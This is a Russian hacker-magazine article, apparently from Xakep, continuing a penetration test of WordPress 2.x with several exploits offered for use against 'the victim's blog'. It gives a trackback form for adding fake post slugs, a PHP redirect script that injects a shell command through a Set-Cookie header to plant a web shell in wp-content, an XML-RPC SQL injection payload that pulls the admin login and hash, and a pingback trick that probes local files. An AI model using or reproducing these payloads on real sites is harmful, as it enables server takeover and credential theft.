Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter
Журналы Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English
$1000 на Android: зарабатываем на приложениях для мобильной платформы от Google $1000 НА ANDROID: ЗАРАБАТЫВАЕМ НА ПРИЛОЖЕНИЯХ ДЛЯ МОБИЛЬНОЙ ПЛАТФОРМЫ ОТ GOOGLE
27.07.2010

Пара вечеров экспериментов и неожиданно удачная идея позволили за 2 месяца заработать более $1000. Это гораздо больше, чем я мог ожидать...
Фабрика сплоитов ФАБРИКА СПЛОИТОВ
26.07.2010

Откуда берутся сплоиты? Задумывался ли ты, каким образом тусклая новость из багтрака превращается в реально работающую отмычку...

WordPress или вагон 0day уязвимостей. Продолжаем хак популярнейшего движка

Маг (icq 884888, http://wap-chat.ru)


Рамки предыдущей статьи не позволили мне рассказать еще о нескольких интереснейших неопубликованных уязвимостях и банальных недоработках WordPress. Так что сейчас ты сможешь прочитать продолжение penetration-теста известнейшей блоговой платформы. Итак, поехали!

Статистика

Для начала я хочу привести некоторые статистические данные из исследования, которое было проведено мной в середине января сего года.
Из выдачи горячо любимого всеми Гугла было случайным образом взято 33534 уникальных блога, работающих на WordPress, которые затем были распарсены в попытке определить их версию. Вот что из этого получилось:

  • 1.5.x - 207 блогов (0.6%)
  • 2.0.x - 1624 блога (4.8%)
  • 2.1.x - 1219 блогов (3.6%)
  • 2.2.x - 2175 блогов (6.4%)
  • 2.3.x - 4366 блогов (13%)
  • 2.5.x - 4343 блога (12.9%)
  • 2.6.x - 8715 блогов (25.9%)
  • 2.7.x - 5986 блогов (17.8%)
  • Unknown - 4899 блогов (14.6%)

Можно понять, что наиболее популярными и представляющими для нас с тобой интерес ветками являются 2.3.x, 2.5.x, 2.6.x, 2.7.x (2.4.x разработчики пропустили по определенным причинам).

В то же время, в этих ветках найдено и опубликовано очень малое количество уязвимостей (напомню, что последняя sql-инъекция была в паблике в 2.2.2 версии).
В первой части статьи я постарался исправить это недоразумение, но, как ты уже понял, это были далеко не последние приватные уязвимости вордпресса...

Шутка юмора

Представь, что на нужном нам блоге присутствует пост с адресом http://lamer/wp233/2009/03/20/hello-world. Ты хочешь насолить/подшутить над админом и сделать так, чтобы этот пост имел еще и адрес вроде http://lamer/wp233/2009/03/20/this-is-a-sucker-post. Разработчики вордпресса с радостью предоставляют тебе такую возможность! Но что это: баг или фича – я не знаю :).

Для начала детально разберем механизм постинга комментария в последней на момент написания статьи версии 2.7.1.

1. Файлик wp-comments-post.php (а также wp-trackback.php), через который проходят все комментарии имеет в себе следующий код:

$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
$comment_id = wp_new_comment( $commentdata );

2. Эту функцию мы можем легко отыскать в ./wp-includes/comment.php:

function wp_new_comment( $commentdata )
{
...
$comment_ID = wp_insert_comment($commentdata);
...
}

3. Там же проводим небольшой реверсинг:

function wp_insert_comment($commentdata)
{
...
if ( $comment_approved == 1)
wp_update_comment_count($comment_post_ID);

return $id;
}
function wp_update_comment_count($post_id, $do_deferred=false)
{
...
elseif ( $post_id ) {
return wp_update_comment_count_now($post_id);
}
}
function wp_update_comment_count_now($post_id)
{
...
do_action('edit_post', $post_id, $post);
return true;
}

4. Action edit_post определен в ./wp-includes/default-filters.php:

add_action('edit_post', 'wp_check_for_changed_slugs');

5. Находим нужную нам функцию в ./wp-includes/post.php:

function wp_check_for_changed_slugs($post_id) {
if ( !isset($_POST['wp-old-slug']) || !strlen($_POST['wp-old-slug']) )
...
// if we haven't added this old slug before, add it now
if ( !count($old_slugs) || !in_array($_POST['wp-old-slug'], $old_slugs) )
add_post_meta($post_id, '_wp_old_slug', $_POST['wp-old-slug']);
...
}

6. И, собственно, зачем весь этот код нам был нужен, ./wp-includes/query.php:

function wp_old_slug_redirect ()
{
...
$query = "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND meta_key = '_wp_old_slug' AND meta_value='" . $wp_query->query_vars['name'] . "'";
...
wp_redirect($link, '301'); // Permanent redirect
exit;
endif;
}

Из анализа вышеприведенного кода следует вывод: если в БД для определенного поста присутствует значение «_wp_old_slug», то по нему проводится редирект на настоящий адрес поста. Чтобы добавить это значение, твой комментарий должен быть зааппрувлен. Как оставлять комментарии без проверки модератора, ты уже знаешь по первой части статьи :). Теперь, наконец-то, готовый эксплойт для нашей шутки:

<html>
<form action="http://lamer.com/wp/wp-trackback.php?p=[ID_ПОСТА]" method="post">
Тайтл: <input name="title" value="commenter"/><br/>
URL:<input name="url" value="http://%/la.com"/><br/>
Comment:<input name="excerpt" value=""/><br/>
Slug:<input name="wp-old-slug" value=""/><br/>
<input name="blog_name" value="Blog" /><br/>
<input type="submit" value="ok"/>
</form>
</html>

В поле «Slug» вставляй новое имя для подходящего поста и показывай ссылку админу, наблюдая за его реакцией.

Небезопасный Snoopy

Настало время сделать еще один реверанс в сторону предыдущей статьи. Как ты, наверное, помнишь, WordPress 2.5.x-2.6.x позволял любому зарегистрированному пользователю с легкостью подменять RSS-фиды в Dashboard. Раскопав этот замечательный баг немного глубже, мы с легкостью сможем добиться выполнения произвольного кода на сервере, где установлен блог.

Итак, вспомним об обнаруженной забугорными кодокопателями code exec уязвимости в классе Snoopy, который присутствует также и в вордпрессе. Сама уязвимость в вордпрессовском Snoopy была пропатчена с помощью escapeshellcmd еще в 1.5.x ветке, но, тем не менее, разработчики взяли и испортили вполне работоспособный код непонятным патчем в версии 2.6.3.

Я догадываюсь, чем они думали, смотря на пост девблога с такими словами:

A vulnerability in the Snoopy library was announced today. WordPress uses Snoopy to fetch the feeds shown in the Dashboard. Although this seems to be a low risk vulnerability for WordPress users, we wanted to get an update out immediately.

А также при сравнении кода Snoopy из WordPress <= 2.6.2:

exec(escapeshellcmd($this->curl_path." -D \"$headerfile\"".$cmdline_params." \"".$safer_URI."\""),$results,$return);

– с кодом Snoopy из WordPress <= 2.6.5:

exec($this->curl_path." -k -D \"$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return);

Второй код - это официальный патч разработчиков Snoopy, который закрывает предыдущий code exec (но не закрывает новый). Забавно, не правда ли? Зачем патчить то, что и так было неплохо пропатчено? Ответы на эти вопросы мы вряд ли узнаем.

Такая халатность разработчиков открыла мне путь к замечательной уязвимости. Но обо всем по порядку.

1. Способом из первой части статьи редактируй любую RSS-ленту на главной странице админки, причем адрес ставь на свой хитрый скрипт, например, http://lamer.com/code-exec.php;

2. Скрипт code-exec.php должен содержать следующий код:

<?php
header('set-cookie: `echo \'<?php system($_GET[aa]); ?>\' > ../wp-content/test.php`=cooka');
header("Location: https://chto-ugodno.com/?feed=rss2");
?>

После совершения этих нехитрых действий на нужный блог в ./wp-content/test.php зальется шелл. Теперь разберем, где и почему это возможно:

1. Только на WordPress 2.6.3, 2.6.5 (2.6.4 просто не было, а в 2.7 Snoopy уже практически не используется) с открытой регистрацией, необходимой для редактирования рсс-фидов;

2. Только на системах, где curl установлен в /usr/local/bin/curl (наиболее распространенная система с таким конфигом - FreeBSD), так как этот самый пресловутый путь жестко прописан в ./wp-includes/class-snoopy.php, плюс бинарник курла проверяется на существование и исполнимость:

if(!$this->curl_path)
return false;
if(function_exists("is_executable"))
if (!is_executable($this->curl_path))
return false;

3. Это работает, потому что Snoopy поддерживает переадресацию (до 5 раз по дефолту). Во время нее он может установить кукисы и другие хэдеры, которые пошлет серверный скрипт. Как можно понять из псевдопатча, над фильтрацией хэдеров при передаче их в exec() никто, конечно же, не задумывался.

4. Это работает не только в кукисах, но и во многих других заголовках. Например, мы сможем передать произвольный код в заголовке HOST следующим образом:

<?php
header("Location: https://lal`my evil command`.com");
?>

Хитрый upload

На очереди – замечательная SQL-инъекция, обнаруженная товарищем Электом больше года назад во всех вордпрессах версий 2.2.x-2.3.x. Для ее использования юзер должен обладать правами «upload_files» (то есть, роль Автора/Редактора).

Рассмотрим исходный код интерфейса для удаленной публикации в WordPress - xmlrpc.php (да-да, именно в этом файле было обнаружено наибольшее число SQL-инъекций движка). В интерфейсе присутствует метод metaWeblog.newMediaObject, являющийся прямой отсылкой к функции mw_newMediaObject. Проведем небольшой реверсинг:

1. ./xmlrpc.php

function mw_newMediaObject($args)
{
...
$blog_ID = (int) $args[0];
$user_login = $wpdb->escape($args[1]);
$user_pass = $wpdb->escape($args[2]);
$data = $args[3];
...
$name = sanitize_file_name( $data['name'] );
$type = $data['type'];
$bits = $data['bits'];
...
$attachment = array(
'post_title' => $name,
'post_content' => '',
'post_type' => 'attachment',
'post_parent' => $post_id,
'post_mime_type' => $type,
'guid' => $upload[ 'url' ]
);
// Save the data
$id = wp_insert_attachment( $attachment, $upload[ 'file' ], $post_id );
...
}

2. ./wp-includes/post.php

function wp_insert_attachment($object, $file = false, $parent = 0)
{
...
$object = wp_parse_args($object, $defaults);
extract($object, EXTR_SKIP);
...
if ($update) {
$wpdb->query(
"UPDATE $wpdb->posts SET
post_author = '$post_author',
post_date = '$post_date',
post_date_gmt = '$post_date_gmt',
post_content = '$post_content',
post_content_filtered = '$post_content_filtered',
post_title = '$post_title',
post_excerpt = '$post_excerpt',
post_status = '$post_status',
post_type = '$post_type',
comment_status = '$comment_status',
ping_status = '$ping_status',
post_password = '$post_password',
post_name = '$post_name',
to_ping = '$to_ping',
pinged = '$pinged',
post_modified = '".current_time('mysql')."',
post_modified_gmt = '".current_time('mysql',1)."',
post_parent = '$post_parent',
menu_order = '$menu_order',
post_mime_type = '$post_mime_type',
guid = '$guid'
WHERE ID = $post_ID");
}
...
}

Проследив весь путь переменной $type, ты поймешь, что никто не позаботился о ее фильтрации перед вставкой в SQL-запрос :). Поэтому мы легко сможем проинжектить UPDATE запрос, например, послав такой POST-пакет к xmlrpc.php:

<?xml version="1.0" encoding="UTF-7"?><methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>[ИМЯ_АВТОРА]</string></value></param>
<param><value><string>[ПАРОЛЬ_АВТОРА]</string></value></param>
<param><struct>
<member>
<name>name</name>
<value>xxx.gif</value>
</member>
<member>
<name>type</name>
<value>gif',(select concat(user_login,':',user_pass) from wp_users limit 1))/*</value>
</member>
<member>
<name>bits</name>
<value>HELLO WORLD!</value>
</member>
</struct>
</param>
<param><value><string>77</string></value></param>
</params></methodCall>

После отправки пакета на блог жертвы поторопись пройти в админку: Manage => Uploads. В поле «URL» в случае удачного срабатывания эксплойта ты увидишь хеш и пароль админа.

Фокусы с курлом

Представляю твоему вниманию очередную уязвимость WordPress (найденную не без помощи Электа), которая заключается в проверке существования любого файла на уязвимом блоге. Подвержены все версии движка, начиная с 2.7.

Для начала нужно сказать, что это не совсем уязвимость вордпресса, а, скорее, фича curl, php-библиотеку которого как раз и юзает WordPress вместо ушедшего в небытие Snoopy.

Итак, уязвимость курла заключается в том, что он с радостью может прочитать для тебя не только удаленные файлы по http, но и локальные с помощью префикса «file://»! Но, как правило, префиксы проверяются скриптами еще на входе и, казалось бы, «file://» заюзать невозможно. Однако никто не подумал о том, что curl поддерживает переадресацию с помощью флага «CURLOPT_FOLLOWLOCATION». То есть, – подставив курлу вполне обычный http, на выходе мы можем получить чтение произвольного локального файла (подробное advisory от первооткрывателя ищи в сносках)! В вордпрессе множество файлов юзают класс ./wp-includes/http.php, но сейчас мы рассмотрим лишь один из наиболее доступных pre-auth способов эксплуатациии баги (найти другие способы в админке - твое домашнее задание:)).
Для начала рассмотрим некоторые особенно важные для эксплуатации бага куски кода в последней версии вордпресса (2.7.1):

1. ./wp-includes/http.php

class WP_Http_Curl {
function request($url, $args = array()) {
if ( !ini_get('safe_mode') && !ini_get('open_basedir') )
curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, true );

Да-да! Ты видишь тот самый флаг, отвечающий за поддержку редиректа! Дальше опустим заумный код, но скажу лишь, что по дефолту (всего возможны четыре варианта) в качестве транспорта http-данных вордпресс выбирает курл:

function wp_remote_get($url, $args = array()) {
$objFetchSite = _wp_http_get_object();

return $objFetchSite->get($url, $args);
}

2. Функция, приведенная выше, используется в ./wp-includes/functions.php:

function wp_remote_fopen( $uri ) {
...
$response = wp_remote_get( $uri, $options );
...
}

3. И, наконец, эта же функция используется в уже полюбившемся тебе интерфейсе xmlrpc:

function pingback_ping($args) {
...
$pagelinkedfrom = $args[0];
$pagelinkedto = $args[1];
...
// Let's check the remote site
$linea = wp_remote_fopen( $pagelinkedfrom );
...

Теперь у нас есть все необходимое для написания эксплойта, – к чему мы сейчас и приступим.

А был ли файл?

Как ты уже понял, действовать мы будем через механизм пингбэков, про который я уже неоднократно рассказывал в предыдущих номерах ][. Для работы нам понадобятся два файла, доступных по http. Например, такие: http://lamer.com/ping1/index.php и http://lamer.com/ping2/index.php. Предположив, что адрес нашего блога – lamer.com/blog и что тестовым стендом является Винда, начнем работу над необходимыми файлами:

1. ./ping1/index.php

<?php
header("<title>Exploit</title><a href="http://lamer.com/ping2/?p=1#lamer.com/blog">Curl</a>");
header("Location: file:///c:\boot.ini", 302);
?>

2. ./ping2/index.php

<a href="http://lamer.com/ping1/?p=2">Ping2</a>

В этом примере первый файл сможет пропинговать второй, благодаря еще одной недоработке вордпресса. Смотри в механизм пингов xmlrpc.php:

// Check if the page linked to is in our site
$pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home')));
if( !$pos1 )
return new IXR_Error(0, __('Is there no link to us?'));

В этой проверке вовсе не нужно, чтобы второй пингуемый сайт обязательно был текущим блогом, так как мы можем обойти проверку, вставив адрес этого самого блога. Например, в конце URL после решетки.

Все готово для проверки наличия файла c:\boot.ini на тестируемой системе.

Для эксплуатации уязвимости тебе необходимо лишь послать следующий POST-пакет для сервера xmlrpc:

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://lamer.com/ping1/?p=2</string></value></param>
<param><value><string>http://lamer.com/ping2/?p=[ИД_СУЩЕСТВУЮЩЕГО_ПОСТА_НА_БЛОГЕ]#lamer.com/blog</string></value></param>
</params>
</methodCall>

После отсылки пакета ты сможешь получить два ответа от сервера:

1. Если файл c:\boot.ini существует, то блог пришлет такой ответ –

Pingback from http://lamer.com/ping1/?p=2 to http://lamer.com/ping2/?p=1#lamer.com/blog registered. Keep the web talking! :-)

2. Если такого файла нет, то жди такого ответа –

The source URL does not exist.

Кстати, этим способом вполне было бы возможно прочитать содержимого любого файла системы, если бы пингбэк не урезался до очень малого количества символов. Так что, в комментарии-пингбэке ты увидишь лишь что-то вроде:

[...] Server: Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4 X-Powered-By: PHP/5.2.4 popa: 111 Location: file:///c:boot.ini Content-Length: 0 Connection: close Content-Type: text/html; [...]

Содержимое c:\boot.ini остается где-то под катом :). Описанный способ эксплуатации уязвимости не является единственным. В админке ты сможешь найти и другие вызовы функции wp_get_http(), которые и позволят тебе читать файлы на системе. Найти их - уже твоя задача.

To be continued...

Ну что, ты все еще считаешь WordPress безопасным движком? Не забывай: злостные кодокопатели ежедневно вдоль и поперек мучают WordPress codebase. Как говорится, «Продолжение следует...» :).

INFO

Спасибо Raz0r за написание code exec эксплойта для WordPress 2.6.x, а также Elekt за предоставленные уязвимости.

Ссылки по теме

Содержание  


ВИДЕО К ЭТОМУ НОМЕРУ

На седьмом небе с Windows Se7en
В семерке и сопутствующих инструментах сделан ряд действительно полезных усовершенствований, которые позволят получить действительно легко управляемую и безопасную систему...

Во власти гипервизора
В этом ролике мы установим Citrix XenServer и создадим виртуальную машину при помощи XenConsole...

Вскрываем SSL
То, насколько просто могут утечь логины и пароли, мы покажем в этом видео. Будь осторожен!...





Предыдущие номера


    Rambler's Top100